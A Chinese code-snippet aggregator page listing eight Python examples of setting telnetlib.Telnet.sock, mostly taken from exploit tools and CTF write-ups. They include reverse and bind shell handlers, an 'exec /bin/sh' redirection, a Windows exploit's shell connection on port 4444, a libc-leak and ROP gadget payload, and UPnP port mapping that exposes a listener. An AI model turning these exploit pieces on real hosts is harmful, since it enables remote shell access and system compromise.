当前位置: 首页>>代码示例>>Python>>正文


Python Telnet.sock方法代码示例

本文整理汇总了Python中telnetlib.Telnet.sock方法的典型用法代码示例。如果您正苦于以下问题:Python Telnet.sock方法的具体用法?Python Telnet.sock怎么用?Python Telnet.sock使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在telnetlib.Telnet的用法示例。


在下文中一共展示了Telnet.sock方法的8个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: listen

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
    def listen(self, port=4444, echotest=False):
        check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"'  # green

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('', port))  # the empty string represents INADDR_ANY
        s.listen(1)

        if isinstance(self.p, Popen):
            addrinfo = socket.getaddrinfo('localhost', port, socket.AF_INET, socket.SOCK_STREAM)
            host = addrinfo[0][4][0]
        else:
            host = self.p.getsockname()[0]
        yield (host, port)

        c, addr = s.accept()
        s.close()
        if echotest:
            c.sendall(check_cmd + '\n')
            sys.stdout.write(c.recv(8192))

        t = Telnet()
        t.sock = c
        t.interact()
        t.close()
        self.close()
开发者ID:BwRy,项目名称:roputils,代码行数:28,代码来源:roputils.py

示例2: upnpbind

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
def upnpbind(ex_port=None):
    location = search_device()
    in_ip = get_internal_ip_address(location)
    control_url = get_control_url(location)
    ex_ip = get_external_ip_address(control_url)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((in_ip, 0))
    s.listen(1)
    in_addr = s.getsockname()
    if ex_port:
        ex_addr = (ex_ip, ex_port)
    else:
        ex_addr = (ex_ip, in_addr[1])
    print >>sys.stderr, "[+] bind: %r" % (in_addr,)

    add_port_mapping(control_url, ex_addr, in_addr)

    try:
        c, remote_addr = s.accept()
        print >>sys.stderr, "[+] accept: %r" % (remote_addr,)
        s.close()

        t = Telnet()
        t.sock = c
        t.interact()
        t.close()
    finally:
        delete_port_mapping(control_url, ex_addr)
开发者ID:inaz2,项目名称:upnpbind,代码行数:32,代码来源:upnpbind.py

示例3: interact

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
	def interact(self):
		if self.state == 0:
			print "No connection available"
			return None
		else:
			from telnetlib import Telnet
			telnet = Telnet()
			telnet.sock = self.skt
			telnet.interact()
			return None
开发者ID:tuwid,项目名称:darkc0de-old-stuff,代码行数:12,代码来源:packet_sender.py

示例4: telnetinteract

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
def telnetinteract(s = None):
  if s is None: s = sock
  with printer() as P:
    while select.select([s], [], [], 0.1)[0]:
      cc = s.recv(1)
      if len(cc) < 1:
        break # Maybe print socket is dead and exit instead.
      P(cc)
  from telnetlib import Telnet
  t = Telnet()
  t.sock = s
  stderr.write('\n'+CYLW+'---telnet interact'+CRST+'\n')
  t.interact()
开发者ID:pwning,项目名称:public-writeup,代码行数:15,代码来源:exploit.py

示例5: interact

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
    def interact(self):
        from telnetlib import Telnet

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        s.bind((self._revHost, self._revPort))
        s.listen(5)
        cli = s.accept()[0]
        s.close()
        print("[+] Got connect-back")

        t = Telnet()
        t.sock = cli
        t.interact()
开发者ID:AlexxNica,项目名称:exploit-database,代码行数:18,代码来源:39823.py

示例6: wait

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
    def wait(self, redirect_fd=None):
        check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"'  # green

        buf = self.read()
        sys.stdout.write(buf)

        if isinstance(self.p, Popen):
            if redirect_fd is not None:
                self.write(check_cmd + '\n')
                sys.stdout.write(self.read())
                self.write('exec /bin/sh <&2 >&2\n')
            self.p.wait()
            return self.p.returncode
        else:
            if redirect_fd is not None:
                self.write(check_cmd + '\n')
                sys.stdout.write(self.read())
                self.write("exec /bin/sh <&%(fd)d >&%(fd)d 2>&%(fd)d\n" % {'fd': redirect_fd})
            t = Telnet()
            t.sock = self.p
            t.interact()
            t.close()
开发者ID:arno01,项目名称:roputils,代码行数:24,代码来源:roputils.py

示例7: Telnet

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
		time.sleep(2)
		skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			skt.connect((self.host, 4444))
		except socket.error, err:
			print "[-] Error: %s" % err[1]
			print "[-] Explotation failed\n[-] Daemon should be dead..."
			return None
		print "[+] Connected to shell at %s on port %d" % (self.host, 4444)
		res = skt.recv(1024)
		if res:
			if res.count('Microsoft Windows'):
				print "[+] Welcome my lord, i'm here to serve you ;) ...\n"
				from telnetlib import Telnet
				telnet = Telnet()
				telnet.sock = skt
				try:
					telnet.interact()
				except:
					pass
				skt.close()
				print "[-] Bye..bye I hope you've enjoyed your stay.. ;)"
				return None
		skt.close()
		print '[-] Explotation failed\nDaemon should be dead...'

if __name__ == '__main__':
	if len(sys.argv) != 3:
		print "*************************************"
		print "* Coded by Sergio 'shadown' Alvarez *"
		print "*          [email protected]        *"
开发者ID:B-Rich,项目名称:fullypwnd,代码行数:33,代码来源:955.py

示例8: xrange

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import sock [as 别名]
sock.send(flag)
sock.send(op)

libc_pointer = 0
import sys
for i in xrange(0, OUTPUT_SIZE):
  c = sock.recv(1)
  if not c:
    sys.stdout.write('\n')
    break
  else:
    sys.stdout.write('%02x ' % ord(c))
    #sys.stdout.write(repr(c)[1:-1])
    if i%8 == 7:
      sys.stdout.write('\n')
    sys.stdout.flush()
    if 24 <= i < 32: # THIS IS OUR LIBC POINTER
      libc_pointer += ord(c) << (8*(i-24))

from time import sleep
sleep(1)
libc_pointer += 5518181 # offset to magic gadget
sock.send(pack('<Q', 0x0000000000400be9) * 32)
sock.send(pack('<Q', libc_pointer))

from telnetlib import Telnet
t = Telnet()
t.sock = sock
print "take the wheel"
t.interact()
开发者ID:pwning,项目名称:public-writeup,代码行数:32,代码来源:exploit.py


注:本文中的telnetlib.Telnet.sock方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。